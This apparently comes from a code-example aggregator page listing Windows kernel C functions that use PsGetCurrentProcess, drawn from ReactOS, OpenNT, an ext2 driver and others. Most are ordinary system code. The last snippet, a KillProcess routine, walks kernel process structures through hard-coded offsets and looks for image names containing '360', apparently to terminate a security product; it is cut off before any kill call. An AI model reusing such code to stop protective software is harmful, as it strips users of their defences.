예제 #1
0
파일: close.c 프로젝트: Moteesh/reactos
VOID
NTAPI
LpcpDeletePort(IN PVOID ObjectBody)
{
    LARGE_INTEGER Timeout;
    PETHREAD Thread;
    PLPCP_PORT_OBJECT Port = (PLPCP_PORT_OBJECT)ObjectBody;
    PLPCP_PORT_OBJECT ConnectionPort;
    PLPCP_MESSAGE Message;
    PLIST_ENTRY ListHead, NextEntry;
    HANDLE Pid;
    CLIENT_DIED_MSG ClientDiedMsg;

    PAGED_CODE();
    LPCTRACE(LPC_CLOSE_DEBUG, "Port: %p. Flags: %lx\n", Port, Port->Flags);

    Timeout.QuadPart = -1000000;

    /* Check if this is a communication port */
    if ((Port->Flags & LPCP_PORT_TYPE_MASK) == LPCP_COMMUNICATION_PORT)
    {
        /* Acquire the lock */
        KeAcquireGuardedMutex(&LpcpLock);

        /* Get the thread */
        Thread = Port->ClientThread;
        if (Thread)
        {
            /* Clear it */
            Port->ClientThread = NULL;

            /* Release the lock and dereference */
            KeReleaseGuardedMutex(&LpcpLock);
            ObDereferenceObject(Thread);
        }
        else
        {
            /* Release the lock */
            KeReleaseGuardedMutex(&LpcpLock);
        }
    }

    /* Check if this is a client-side port */
    if ((Port->Flags & LPCP_PORT_TYPE_MASK) == LPCP_CLIENT_PORT)
    {
        /* Setup the client died message */
        ClientDiedMsg.h.u1.s1.TotalLength = sizeof(ClientDiedMsg);
        ClientDiedMsg.h.u1.s1.DataLength = sizeof(ClientDiedMsg.CreateTime);
        ClientDiedMsg.h.u2.ZeroInit = 0;
        ClientDiedMsg.h.u2.s2.Type = LPC_PORT_CLOSED;
        ClientDiedMsg.CreateTime = PsGetCurrentProcess()->CreateTime;

        /* Send it */
        for (;;)
        {
            /* Send the message */
            if (LpcRequestPort(Port, &ClientDiedMsg.h) != STATUS_NO_MEMORY)
                break;

            /* Wait until trying again */
            KeDelayExecutionThread(KernelMode, FALSE, &Timeout);
        }
    }

    /* Destroy the port queue */
    LpcpDestroyPortQueue(Port, TRUE);

    /* Check if we had views */
    if ((Port->ClientSectionBase) || (Port->ServerSectionBase))
    {
        /* Check if we had a client view */
        if (Port->ClientSectionBase)
        {
            /* Unmap it */
            MmUnmapViewOfSection(Port->MappingProcess,
                                 Port->ClientSectionBase);
        }

        /* Check for a server view */
        if (Port->ServerSectionBase)
        {
            /* Unmap it */
            MmUnmapViewOfSection(Port->MappingProcess,
                                 Port->ServerSectionBase);
        }

        /* Dereference the mapping process */
        ObDereferenceObject(Port->MappingProcess);
        Port->MappingProcess = NULL;
    }

    /* Acquire the lock */
    KeAcquireGuardedMutex(&LpcpLock);

    /* Get the connection port */
    ConnectionPort = Port->ConnectionPort;
    if (ConnectionPort)
    {
        /* Get the PID */
        Pid = PsGetCurrentProcessId();

        /* Loop the data lists */
        ListHead = &ConnectionPort->LpcDataInfoChainHead;
        NextEntry = ListHead->Flink;
        while (NextEntry != ListHead)
        {
            /* Get the message */
            Message = CONTAINING_RECORD(NextEntry, LPCP_MESSAGE, Entry);
            NextEntry = NextEntry->Flink;

            /* Check if this is the connection port */
            if (Port == ConnectionPort)
            {
                /* Free queued messages */
                RemoveEntryList(&Message->Entry);
                InitializeListHead(&Message->Entry);
                LpcpFreeToPortZone(Message, LPCP_LOCK_HELD);

                /* Restart at the head */
                NextEntry = ListHead->Flink;
            }
            else if ((Message->Request.ClientId.UniqueProcess == Pid) &&
                     ((Message->SenderPort == Port) ||
                      (Message->SenderPort == Port->ConnectedPort) ||
                      (Message->SenderPort == ConnectionPort)))
            {
                /* Remove it */
                RemoveEntryList(&Message->Entry);
                InitializeListHead(&Message->Entry);
                LpcpFreeToPortZone(Message, LPCP_LOCK_HELD);

                /* Restart at the head */
                NextEntry = ListHead->Flink;
            }
        }

        /* Release the lock */
        KeReleaseGuardedMutex(&LpcpLock);

        /* Dereference the object unless it's the same port */
        if (ConnectionPort != Port) ObDereferenceObject(ConnectionPort);

        /* Check if this is a connection port with a server process */
        if (((Port->Flags & LPCP_PORT_TYPE_MASK) == LPCP_CONNECTION_PORT) &&
            (ConnectionPort->ServerProcess))
        {
            /* Dereference the server process */
            ObDereferenceObject(ConnectionPort->ServerProcess);
            ConnectionPort->ServerProcess = NULL;
        }
    }
    else
    {
        /* Release the lock */
        KeReleaseGuardedMutex(&LpcpLock);
    }

    /* Free client security */
    LpcpFreePortClientSecurity(Port);
    LPCTRACE(LPC_CLOSE_DEBUG, "Port: %p deleted\n", Port);
}
예제 #2
0
NTSTATUS
NTAPI
MiReadFilePage(PMMSUPPORT AddressSpace,
               PMEMORY_AREA MemoryArea,
               PMM_REQUIRED_RESOURCES RequiredResources)
{
    PFILE_OBJECT FileObject = RequiredResources->Context;
    PPFN_NUMBER Page = &RequiredResources->Page[RequiredResources->Offset];
    PLARGE_INTEGER FileOffset = &RequiredResources->FileOffset;
    NTSTATUS Status;
    PVOID PageBuf = NULL;
    KEVENT Event;
    IO_STATUS_BLOCK IOSB;
    UCHAR MdlBase[sizeof(MDL) + sizeof(ULONG)];
    PMDL Mdl = (PMDL)MdlBase;
    KIRQL OldIrql;

    DPRINTC("Pulling page %I64x from %wZ to %Ix\n",
            FileOffset->QuadPart,
            &FileObject->FileName,
            *Page);

    Status = MmRequestPageMemoryConsumer(RequiredResources->Consumer,
                                         TRUE,
                                         Page);

    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Status: %x\n", Status);
        return Status;
    }

    MmInitializeMdl(Mdl, NULL, PAGE_SIZE);
    MmBuildMdlFromPages(Mdl, Page);
    Mdl->MdlFlags |= MDL_PAGES_LOCKED;

    KeInitializeEvent(&Event, NotificationEvent, FALSE);
    Status = IoPageRead(FileObject, Mdl, FileOffset, &Event, &IOSB);
    if (Status == STATUS_PENDING)
    {
        KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
        Status = IOSB.Status;
    }
    if (Mdl->MdlFlags & MDL_MAPPED_TO_SYSTEM_VA)
    {
        MmUnmapLockedPages (Mdl->MappedSystemVa, Mdl);
    }

    PageBuf = MiMapPageInHyperSpace(PsGetCurrentProcess(), *Page, &OldIrql);
    if (!PageBuf)
    {
        MmReleasePageMemoryConsumer(RequiredResources->Consumer, *Page);
        return STATUS_NO_MEMORY;
    }

    RtlZeroMemory((PCHAR)PageBuf+RequiredResources->Amount,
                  PAGE_SIZE-RequiredResources->Amount);

    MiUnmapPageInHyperSpace(PsGetCurrentProcess(), PageBuf, OldIrql);

    DPRINT("Read Status %x (Page %x)\n", Status, *Page);

    if (!NT_SUCCESS(Status))
    {
        MmReleasePageMemoryConsumer(RequiredResources->Consumer, *Page);
        DPRINT("Status: %x\n", Status);
        return Status;
    }

    return STATUS_SUCCESS;
}
예제 #3
0
파일: init.c 프로젝트: av233max/NTLER
NTSTATUS
MuInitializeUserModeHelper (
    PMU_GLOBAL_DATA GlobalData
)
{
    NTSTATUS status;
    HANDLE file, proc, dllsec;
    SIZE_T imgsize = 0;
    PVOID secobj, dllbase = NULL;
    LARGE_INTEGER secofs;
    UNICODE_STRING fp;
    IO_STATUS_BLOCK iosb;
    OBJECT_ATTRIBUTES oa;
    WCHAR path[MAX_PATH];
    
    wcscpy(path, MU_ROOTDIR_SYSTEM32);
    wcscat(path, MU_FILENAME_HELPER_DLL);
    
    RtlInitUnicodeString(&fp, path);
    
    InitializeObjectAttributes(&oa,
                               &fp,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               NULL,
                               NULL);
    
    status = ZwOpenFile(&file,
                        GENERIC_READ,
                        &oa,
                        &iosb,
                        FILE_SHARE_READ,
                        FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);
    
    if (NT_SUCCESS(status))
    {
        status = ZwCreateSection(&dllsec,
                                 SECTION_ALL_ACCESS,
                                 NULL,
                                 NULL,
                                 PAGE_EXECUTE_READWRITE,
                                 SEC_IMAGE,
                                 file);
        
        ZwClose(file);
        
        if (!NT_SUCCESS(status))
            return status;
            
        status = ObReferenceObjectByHandle(dllsec,
                                           SECTION_ALL_ACCESS,
                                           *MmSectionObjectType,
                                           KernelMode,
                                           &secobj,
                                           NULL);
        
        ZwClose(dllsec);
        
        if (NT_SUCCESS(status))
        {
            secofs.QuadPart = 0;
            
            status = MmMapViewOfSection(secobj,
                                        PsGetCurrentProcess(),
                                        &dllbase,
                                        0,
                                        0,
                                        &secofs,
                                        &imgsize,
                                        ViewShare,
                                        0,
                                        PAGE_EXECUTE_READWRITE);
            
            if (NT_SUCCESS(status))
            {
                status = MuLinkDll(GlobalData, dllbase);
                
                MmUnmapViewOfSection(PsGetCurrentProcess(), dllbase);
            }
            
            if (!NT_SUCCESS(status))
            {
                ObDereferenceObject(secobj);
                
                secobj = NULL;
            }
            
            GlobalData->DllSection   = secobj;
            GlobalData->DllImageSize = imgsize;
            GlobalData->DllImageBase = dllbase;
        }
    }
    
    return status;
}
예제 #4
0
파일: balance.c 프로젝트: hackbunny/reactos
VOID NTAPI
MiBalancerThread(PVOID Unused)
{
   PVOID WaitObjects[2];
   NTSTATUS Status;
   ULONG i;

   WaitObjects[0] = &MiBalancerEvent;
   WaitObjects[1] = &MiBalancerTimer;

   while (1)
   {
      Status = KeWaitForMultipleObjects(2,
                                        WaitObjects,
                                        WaitAny,
                                        Executive,
                                        KernelMode,
                                        FALSE,
                                        NULL,
                                        NULL);

      if (Status == STATUS_WAIT_0 || Status == STATUS_WAIT_1)
      {
        ULONG InitialTarget = 0;

#if (_MI_PAGING_LEVELS == 2)
        if (!MiIsBalancerThread())
        {
            /* Clean up the unused PDEs */
            ULONG_PTR Address;
            PEPROCESS Process = PsGetCurrentProcess();

            /* Acquire PFN lock */
            KIRQL OldIrql = KeAcquireQueuedSpinLock(LockQueuePfnLock);
            PMMPDE pointerPde;
            for (Address = (ULONG_PTR)MI_LOWEST_VAD_ADDRESS;
                 Address < (ULONG_PTR)MM_HIGHEST_VAD_ADDRESS;
                 Address += (PAGE_SIZE * PTE_COUNT))
            {
                if (MiQueryPageTableReferences((PVOID)Address) == 0)
                {
                    pointerPde = MiAddressToPde(Address);
                    if (pointerPde->u.Hard.Valid)
                        MiDeletePte(pointerPde, MiPdeToPte(pointerPde), Process, NULL);
                    ASSERT(pointerPde->u.Hard.Valid == 0);
                }
            }
            /* Release lock */
            KeReleaseQueuedSpinLock(LockQueuePfnLock, OldIrql);
        }
#endif
          do
          {
              ULONG OldTarget = InitialTarget;

              /* Trim each consumer */
              for (i = 0; i < MC_MAXIMUM; i++)
              {
                  InitialTarget = MiTrimMemoryConsumer(i, InitialTarget);
              }

              /* No pages left to swap! */
              if (InitialTarget != 0 &&
                  InitialTarget == OldTarget)
              {
                  /* Game over */
                  KeBugCheck(NO_PAGES_AVAILABLE);
              }
          } while (InitialTarget != 0);
      }
      else
      {
         DPRINT1("KeWaitForMultipleObjects failed, status = %x\n", Status);
         KeBugCheck(MEMORY_MANAGEMENT);
      }
   }
}
예제 #5
0
NTSTATUS
AFSInitIrpPool()
{

    NTSTATUS       ntStatus = STATUS_SUCCESS;
    AFSCommSrvcCB *pCommSrvc = NULL;
    BOOLEAN        bReleasePools = FALSE;
    AFSDeviceExt  *pDevExt = (AFSDeviceExt *)AFSDeviceObject->DeviceExtension;

    __Enter
    {

        pCommSrvc = &pDevExt->Specific.Control.CommServiceCB;

        //
        // Whenever we change state we must grab both pool locks. On the checking of the state
        // within the processing routines for these respective pools, we only grab one lock to
        // minimize serialization. The ordering is always the Irp pool then the result pool
        // locks. We also do this in the tear down of the pool
        //

        AFSDbgLogMsg( AFS_SUBSYSTEM_LOCK_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "AFSInitIrpPool Acquiring IrpPoolLock lock %08lX EXCL %08lX\n",
                      &pCommSrvc->IrpPoolLock,
                      PsGetCurrentThread());

        AFSAcquireExcl( &pCommSrvc->IrpPoolLock,
                          TRUE);

        AFSDbgLogMsg( AFS_SUBSYSTEM_LOCK_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "AFSInitIrpPool Acquiring ResultPoolLock lock %08lX EXCL %08lX\n",
                      &pCommSrvc->ResultPoolLock,
                      PsGetCurrentThread());

        AFSAcquireExcl( &pCommSrvc->ResultPoolLock,
                          TRUE);

        bReleasePools = TRUE;

        //
        // The pool can be either ACTIVE or INACTIVE. If the pool state is INACTIVE and we
        // are receiving the INIT request, then activate it. If the pool is ACTIVE, then we
        // shouldn't be getting this request ...
        //

        if( pCommSrvc->IrpPoolControlFlag == POOL_ACTIVE)
        {

            //
            // We have already been activated so just fail this request
            //

            try_return( ntStatus = STATUS_INVALID_PARAMETER);
        }
        else if( pCommSrvc->IrpPoolControlFlag == POOL_INACTIVE)
        {

            //
            // The pool is currently INACTIVE so start it up and ready it to
            // receive irp requests
            //

            pCommSrvc->IrpPoolControlFlag = POOL_ACTIVE;

            pDevExt->Specific.Control.ServiceProcess = (PKPROCESS)PsGetCurrentProcess();

            try_return( ntStatus = STATUS_SUCCESS);
        }
        else
        {

            //
            // The pool is in some mixed state, fail the request.
            //

            try_return( ntStatus = STATUS_DEVICE_NOT_READY);
        }

try_exit:

        if( bReleasePools)
        {

            AFSReleaseResource( &pCommSrvc->IrpPoolLock);

            AFSReleaseResource( &pCommSrvc->ResultPoolLock);
        }
    }

    return ntStatus;
}
예제 #6
0
파일: fastio.c 프로젝트: Uroc327/ext2fsd
BOOLEAN
Ext2FastIoCheckIfPossible (
    IN PFILE_OBJECT         FileObject,
    IN PLARGE_INTEGER       FileOffset,
    IN ULONG                Length,
    IN BOOLEAN              Wait,
    IN ULONG                LockKey,
    IN BOOLEAN              CheckForReadOperation,
    OUT PIO_STATUS_BLOCK    IoStatus,
    IN PDEVICE_OBJECT       DeviceObject
)
{
    BOOLEAN          bPossible = FastIoIsNotPossible;
    PEXT2_FCB        Fcb;
    PEXT2_CCB        Ccb;
    LARGE_INTEGER    lLength;

    lLength.QuadPart = Length;

    __try {

        FsRtlEnterFileSystem();

        __try {

            if (IsExt2FsDevice(DeviceObject)) {
                __leave;
            }

            Fcb = (PEXT2_FCB) FileObject->FsContext;
            if (Fcb == NULL || Fcb->Identifier.Type == EXT2VCB) {
                __leave;
            }

            ASSERT((Fcb->Identifier.Type == EXT2FCB) &&
                   (Fcb->Identifier.Size == sizeof(EXT2_FCB)));

            if (IsDirectory(Fcb)) {
                __leave;
            }

            Ccb = (PEXT2_CCB) FileObject->FsContext2;
            if (Ccb == NULL) {
                __leave;
            }

            if (CheckForReadOperation) {

                bPossible = FsRtlFastCheckLockForRead(
                                &Fcb->FileLockAnchor,
                                FileOffset,
                                &lLength,
                                LockKey,
                                FileObject,
                                PsGetCurrentProcess());

            } else {

                if (!(IsFlagOn(Fcb->Vcb->Flags, VCB_READ_ONLY) ||
                        IsFlagOn(Fcb->Vcb->Flags, VCB_WRITE_PROTECTED))) {
                    bPossible = FsRtlFastCheckLockForWrite(
                                    &Fcb->FileLockAnchor,
                                    FileOffset,
                                    &lLength,
                                    LockKey,
                                    FileObject,
                                    PsGetCurrentProcess());
                }
            }

#if EXT2_DEBUG
            DEBUG(DL_INF, ("Ext2FastIIOCheckPossible: %s %s %wZ\n",
                           Ext2GetCurrentProcessName(),
                           "FASTIO_CHECK_IF_POSSIBLE",
                           &Fcb->Mcb->FullName
                          ));

            DEBUG(DL_INF, (
                      "Ext2FastIIOCheckPossible: Offset: %I64xg Length: %xh Key: %u %s %s\n",
                      FileOffset->QuadPart,
                      Length,
                      LockKey,
                      (CheckForReadOperation ? "CheckForReadOperation:" :
                       "CheckForWriteOperation:"),
                      (bPossible ? "Succeeded" : "Failed")));
#endif

        } __except (EXCEPTION_EXECUTE_HANDLER) {
            bPossible = FastIoIsNotPossible;
        }

    } __finally {

        FsRtlExitFileSystem();
    }

    return bPossible;
}
예제 #7
0
파일: v86vdm.c 프로젝트: Moteesh/reactos
/*
 * @implemented
 */
NTSTATUS
NTAPI
Ke386CallBios(IN ULONG Int,
              OUT PCONTEXT Context)
{
    PUCHAR Trampoline = (PUCHAR)TRAMPOLINE_BASE;
    PTEB VdmTeb = (PTEB)TRAMPOLINE_TEB;
    PVDM_TIB VdmTib = (PVDM_TIB)TRAMPOLINE_TIB;
    ULONG ContextSize = FIELD_OFFSET(CONTEXT, ExtendedRegisters);
    PKTHREAD Thread = KeGetCurrentThread();
    PKTSS Tss = KeGetPcr()->TSS;
    PKPROCESS Process = Thread->ApcState.Process;
    PVDM_PROCESS_OBJECTS VdmProcessObjects;
    USHORT OldOffset, OldBase;

    /* Start with a clean TEB */
    RtlZeroMemory(VdmTeb, sizeof(TEB));

    /* Write the interrupt and bop */
    *Trampoline++ = 0xCD;
    *Trampoline++ = (UCHAR)Int;
    *(PULONG)Trampoline = TRAMPOLINE_BOP;

    /* Setup the VDM TEB and TIB */
    VdmTeb->Vdm = (PVOID)TRAMPOLINE_TIB;
    RtlZeroMemory(VdmTib, sizeof(VDM_TIB));
    VdmTib->Size = sizeof(VDM_TIB);

    /* Set a blank VDM state */
    *VdmState = 0;

    /* Copy the context */
    RtlCopyMemory(&VdmTib->VdmContext, Context, ContextSize);
    VdmTib->VdmContext.SegCs = (ULONG_PTR)Trampoline >> 4;
    VdmTib->VdmContext.SegSs = (ULONG_PTR)Trampoline >> 4;
    VdmTib->VdmContext.Eip = 0;
    VdmTib->VdmContext.Esp = 2 * PAGE_SIZE - sizeof(ULONG_PTR);
    VdmTib->VdmContext.EFlags |= EFLAGS_V86_MASK | EFLAGS_INTERRUPT_MASK;
    VdmTib->VdmContext.ContextFlags = CONTEXT_FULL;

    /* This can't be a real VDM process */
    ASSERT(PsGetCurrentProcess()->VdmObjects == NULL);

    /* Allocate VDM structure */
    VdmProcessObjects = ExAllocatePoolWithTag(NonPagedPool,
                                              sizeof(VDM_PROCESS_OBJECTS),
                                              '  eK');
    if (!VdmProcessObjects) return STATUS_NO_MEMORY;

    /* Set it up */
    RtlZeroMemory(VdmProcessObjects, sizeof(VDM_PROCESS_OBJECTS));
    VdmProcessObjects->VdmTib = VdmTib;
    PsGetCurrentProcess()->VdmObjects = VdmProcessObjects;

    /* Set the system affinity for the current thread */
    KeSetSystemAffinityThread(1);

    /* Make sure there's space for two IOPMs, then copy & clear the current */
    ASSERT(((PKIPCR)KeGetPcr())->GDT[KGDT_TSS / 8].LimitLow >=
            (0x2000 + IOPM_OFFSET - 1));
    RtlCopyMemory(Ki386IopmSaveArea, &Tss->IoMaps[0].IoMap, PAGE_SIZE * 2);
    RtlZeroMemory(&Tss->IoMaps[0].IoMap, PAGE_SIZE * 2);

    /* Save the old offset and base, and set the new ones */
    OldOffset = Process->IopmOffset;
    OldBase = Tss->IoMapBase;
    Process->IopmOffset = (USHORT)IOPM_OFFSET;
    Tss->IoMapBase = (USHORT)IOPM_OFFSET;

    /* Switch stacks and work the magic */
    Ki386SetupAndExitToV86Mode(VdmTeb);

    /* Restore IOPM */
    RtlCopyMemory(&Tss->IoMaps[0].IoMap, Ki386IopmSaveArea, PAGE_SIZE * 2);
    Process->IopmOffset = OldOffset;
    Tss->IoMapBase = OldBase;

    /* Restore affinity */
    KeRevertToUserAffinityThread();

    /* Restore context */
    RtlCopyMemory(Context, &VdmTib->VdmContext, ContextSize);
    Context->ContextFlags = CONTEXT_FULL;

    /* Free VDM objects */
    ExFreePoolWithTag(PsGetCurrentProcess()->VdmObjects, '  eK');
    PsGetCurrentProcess()->VdmObjects = NULL;

    /* Return status */
    return STATUS_SUCCESS;
}
예제 #8
0
파일: objsup.c 프로젝트: mingpen/OpenNT
VOID
IopCloseFile(
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ULONG GrantedAccess,
    IN ULONG ProcessHandleCount,
    IN ULONG SystemHandleCount
    )

/*++

Routine Description:

    This routine is invoked whenever a handle to a file is deleted.  If the
    handle being deleted is the last handle to the file (the ProcessHandleCount
    parameter is one), then all locks for the file owned by the specified
    process must be released.

    Likewise, if the SystemHandleCount is one then this is the last handle
    for this for file object across all processes.  For this case, the file
    system is notified so that it can perform any necessary cleanup on the
    file.

Arguments:

    Process - A pointer to the process that closed the handle.

    Object - A pointer to the file object that the handle referenced.

    GrantedAccess - Access that was granted to the object through the handle.

    ProcessHandleCount - Count of handles outstanding to the object for the
        process specified by the Process argument.  If the count is one
        then this is the last handle to this file by that process.

    SystemHandleCount - Count of handles outstanding to the object for the
        entire system.  If the count is one then this is the last handle
        to this file in the system.

Return Value:

    None.

--*/

{
    PIRP irp;
    PIO_STACK_LOCATION irpSp;
    PDEVICE_OBJECT deviceObject;
    PFAST_IO_DISPATCH fastIoDispatch;
    NTSTATUS status;
    KEVENT event;
    PFILE_OBJECT fileObject;
    KIRQL irql;

    UNREFERENCED_PARAMETER( Process );
    UNREFERENCED_PARAMETER( GrantedAccess );

    PAGED_CODE();

    //
    // If the handle count is not one then this is not the last close of
    // this file for the specified process so there is nothing to do.
    //

    if (ProcessHandleCount != 1) {
        return;
    }

    fileObject = (PFILE_OBJECT) Object;

    if (fileObject->LockOperation && SystemHandleCount != 1) {

        IO_STATUS_BLOCK localIoStatus;

        //
        // This is the last handle for the specified process and the process
        // called the NtLockFile or NtUnlockFile system services at least once.
        // Also, this is not the last handle for this file object system-wide
        // so unlock all of the pending locks for this process.  Note that
        // this check causes an optimization so that if this is the last
        // system-wide handle to this file object the cleanup code will take
        // care of releasing any locks on the file rather than having to
        // send the file system two different packets to get them shut down.

        //
        // Get the address of the target device object and the Fast I/O dispatch
        //

        if (!(fileObject->Flags & FO_DIRECT_DEVICE_OPEN)) {
            deviceObject = IoGetRelatedDeviceObject( fileObject );
        } else {
            deviceObject = IoGetAttachedDevice( fileObject->DeviceObject );
        }
        fastIoDispatch = deviceObject->DriverObject->FastIoDispatch;

        //
        // If this file is open for synchronous I/O, wait until this thread
        // owns it exclusively since there may still be a thread using it.
        // This occurs when a system service owns the file because it owns
        // the semaphore, but the I/O completion code has already dereferenced
        // the file object itself.  Without waiting here for the same semaphore
        // there would be a race condition in the service who owns it now. The
        // service needs to be able to access the object w/o it going away after
        // its wait for the file event is satisfied.
        //

        if (fileObject->Flags & FO_SYNCHRONOUS_IO) {

            BOOLEAN interrupted;

            if (!IopAcquireFastLock( fileObject )) {
                (VOID) IopAcquireFileObjectLock( fileObject,
                                                 KernelMode,
                                                 FALSE,
                                                 &interrupted );
            }
        }

        //
        // Turbo unlock support.  If the fast Io Dispatch specifies a fast lock
        // routine then we'll first try and calling it with the specified lock
        // parameters.  If this is all successful then we do not need to do
        // the Irp based unlock all call.
        //

        if (fastIoDispatch &&
            fastIoDispatch->FastIoUnlockAll &&
            fastIoDispatch->FastIoUnlockAll( fileObject,
                                             PsGetCurrentProcess(),
                                             &localIoStatus,
                                             deviceObject )) {

            NOTHING;

        } else {

            //
            // Initialize the local event that will be used to synchronize access
            // to the driver completing this I/O operation.
            //

            KeInitializeEvent( &event, SynchronizationEvent, FALSE );

            //
            // Reset the event in the file object.
            //

            KeClearEvent( &fileObject->Event );

            //
            // Allocate and initialize the I/O Request Packet (IRP) for this
            // operation.
            //

            irp = IopAllocateIrpMustSucceed( deviceObject->StackSize );
            irp->Tail.Overlay.OriginalFileObject = fileObject;
            irp->Tail.Overlay.Thread = PsGetCurrentThread();
            irp->RequestorMode = KernelMode;

            //
            // Fill in the service independent parameters in the IRP.
            //

            irp->UserEvent = &event;
            irp->UserIosb = &irp->IoStatus;
            irp->Flags = IRP_SYNCHRONOUS_API;
            irp->Overlay.AsynchronousParameters.UserApcRoutine = (PIO_APC_ROUTINE) NULL;

            //
            // Get a pointer to the stack location for the first driver.  This will
            // be used to pass the original function codes and parameters.  No
            // function-specific parameters are required for this operation.
            //

            irpSp = IoGetNextIrpStackLocation( irp );
            irpSp->MajorFunction = IRP_MJ_LOCK_CONTROL;
            irpSp->MinorFunction = IRP_MN_UNLOCK_ALL;
            irpSp->FileObject = fileObject;

            //
            //  Reference the fileobject again for the IRP (cleared on completion)
            //

            ObReferenceObject( fileObject );

            //
            // Insert the packet at the head of the IRP list for the thread.
            //

            IopQueueThreadIrp( irp );

            //
            // Invoke the driver at its appropriate dispatch entry with the IRP.
            //

            status = IoCallDriver( deviceObject, irp );

            //
            // If no error was incurred, wait for the I/O operation to complete.
            //

            if (status == STATUS_PENDING) {
                (VOID) KeWaitForSingleObject( &event,
                                              UserRequest,
                                              KernelMode,
                                              FALSE,
                                              (PLARGE_INTEGER) NULL );
            }
        }

        //
        // If this operation was a synchronous I/O operation, release the
        // semaphore so that the file can be used by other threads.
        //

        if (fileObject->Flags & FO_SYNCHRONOUS_IO) {
            IopReleaseFileObjectLock( fileObject );
        }
    }

    if (SystemHandleCount == 1) {

        //
        // The last handle to this file object for all of the processes in the
        // system has just been closed, so invoke the driver's "cleanup" handler
        // for this file.  This is the file system's opportunity to remove any
        // share access information for the file, to indicate that if the file
        // is opened for a caching operation and this is the last file object
        // to the file, then it can do whatever it needs with memory management
        // to cleanup any information.
        //
        // Begin by getting the address of the target device object.
        //

        if (!(fileObject->Flags & FO_DIRECT_DEVICE_OPEN)) {
            deviceObject = IoGetRelatedDeviceObject( fileObject );
        } else {
            deviceObject = IoGetAttachedDevice( fileObject->DeviceObject );
        }

        //
        // Ensure that the I/O system believes that this file has a handle
        // associated with it in case it doesn't actually get one from the
        // Object Manager.  This is done because sometimes the Object Manager
        // actually creates a handle, but the I/O system never finds out
        // about it so it attempts to send two cleanups for the same file.
        //

        fileObject->Flags |= FO_HANDLE_CREATED;

        //
        // If this file is open for synchronous I/O, wait until this thread
        // owns it exclusively since there may still be a thread using it.
        // This occurs when a system service owns the file because it owns
        // the semaphore, but the I/O completion code has already dereferenced
        // the file object itself.  Without waiting here for the same semaphore
        // there would be a race condition in the service who owns it now. The
        // service needs to be able to access the object w/o it going away after
        // its wait for the file event is satisfied.
        //

        if (fileObject->Flags & FO_SYNCHRONOUS_IO) {

            BOOLEAN interrupted;

            if (!IopAcquireFastLock( fileObject )) {
                (VOID) IopAcquireFileObjectLock( fileObject,
                                                 KernelMode,
                                                 FALSE,
                                                 &interrupted );
            }
        }

        //
        // Initialize the local event that will be used to synchronize access
        // to the driver completing this I/O operation.
        //

        KeInitializeEvent( &event, SynchronizationEvent, FALSE );

        //
        // Reset the event in the file object.
        //

        KeClearEvent( &fileObject->Event );

        //
        // Allocate and initialize the I/O Request Packet (IRP) for this
        // operation.
        //

        irp = IopAllocateIrpMustSucceed( deviceObject->StackSize );
        irp->Tail.Overlay.OriginalFileObject = fileObject;
        irp->Tail.Overlay.Thread = PsGetCurrentThread();
        irp->RequestorMode = KernelMode;

        //
        // Fill in the service independent parameters in the IRP.
        //

        irp->UserEvent = &event;
        irp->UserIosb = &irp->IoStatus;
        irp->Overlay.AsynchronousParameters.UserApcRoutine = (PIO_APC_ROUTINE) NULL;
        irp->Flags = IRP_SYNCHRONOUS_API | IRP_CLOSE_OPERATION;

        //
        // Get a pointer to the stack location for the first driver.  This will
        // be used to pass the original function codes and parameters.  No
        // function-specific parameters are required for this operation.
        //

        irpSp = IoGetNextIrpStackLocation( irp );
        irpSp->MajorFunction = IRP_MJ_CLEANUP;
        irpSp->FileObject = fileObject;

        //
        // Insert the packet at the head of the IRP list for the thread.
        //

        IopQueueThreadIrp( irp );

        //
        // Update the operation count statistic for the current process for
        // operations other than read and write.
        //

        IopUpdateOtherOperationCount();

        //
        // Invoke the driver at its appropriate dispatch entry with the IRP.
        //

        status = IoCallDriver( deviceObject, irp );

        //
        // If no error was incurred, wait for the I/O operation to complete.
        //

        if (status == STATUS_PENDING) {
            (VOID) KeWaitForSingleObject( &event,
                                          UserRequest,
                                          KernelMode,
                                          FALSE,
                                          (PLARGE_INTEGER) NULL );
        }

        //
        // The following code tears down the IRP by hand since it may not
        // either be possible to it to be completed (because this code was
        // invoked as APC_LEVEL in the first place - or because the reference
        // count on the object cannot be incremented due to this routine
        // being invoked by the delete file procedure below).  Cleanup IRPs
        // therefore use close sematics (the close operation flag is set
        // in the IRP) so that the I/O complete request routine itself sets
        // the event to the Signaled state.
        //

        KeRaiseIrql( APC_LEVEL, &irql );
        IopDequeueThreadIrp( irp );
        KeLowerIrql( irql );

        //
        // Also, free the IRP.
        //

        IoFreeIrp( irp );

        //
        // If this operation was a synchronous I/O operation, release the
        // semaphore so that the file can be used by other threads.
        //

        if (fileObject->Flags & FO_SYNCHRONOUS_IO) {
            IopReleaseFileObjectLock( fileObject );
        }
    }

    return;
}
예제 #9
0
파일: hsbsys.c 프로젝트: kkkkxxxx/hsb
void KillProcess(PVOID Context)
{
	NTSTATUS status;
	HANDLE prohd;
	BOOLEAN bexe;
	ULONG puserAddress;
	KAPC_STATE ApcState; 
	ANSI_STRING imagename;
	PEPROCESS pepro,ptempepro;
	LARGE_INTEGER timeout;
	PSE_AUDIT_PROCESS_CREATION_INFO papc;
	ANSI_STRING	pastr;
	PVOID pstrb=NULL;
	while(TRUE)
	{
		pepro=PsGetCurrentProcess();
		ptempepro=pepro;
		do 
		{
			bexe=FALSE;
			RtlInitAnsiString(&imagename,(PVOID)((ULONG)ptempepro+eprooffset.ImageFileName)); //+0x174 ImageFileName 
			papc=(PSE_AUDIT_PROCESS_CREATION_INFO)((ULONG)ptempepro+eprooffset.SE_AUDIT_PROCESS_CREATION_INFO);//EPROCESS偏移0x1f4处存放着_SE_AUDIT_PROCESS_CREATION_INFO结构的指针
			__try
			{
				if (papc->ImageFileName->Name.Length!=0)
				{
					RtlUnicodeStringToAnsiString(&pastr,&papc->ImageFileName->Name,TRUE);
					pstrb=strstr(pastr.Buffer,"360");
					if (pstrb!=NULL)
					{
						bexe=TRUE;
					}
					RtlFreeAnsiString(&pastr);
				}
			}__except(1){}
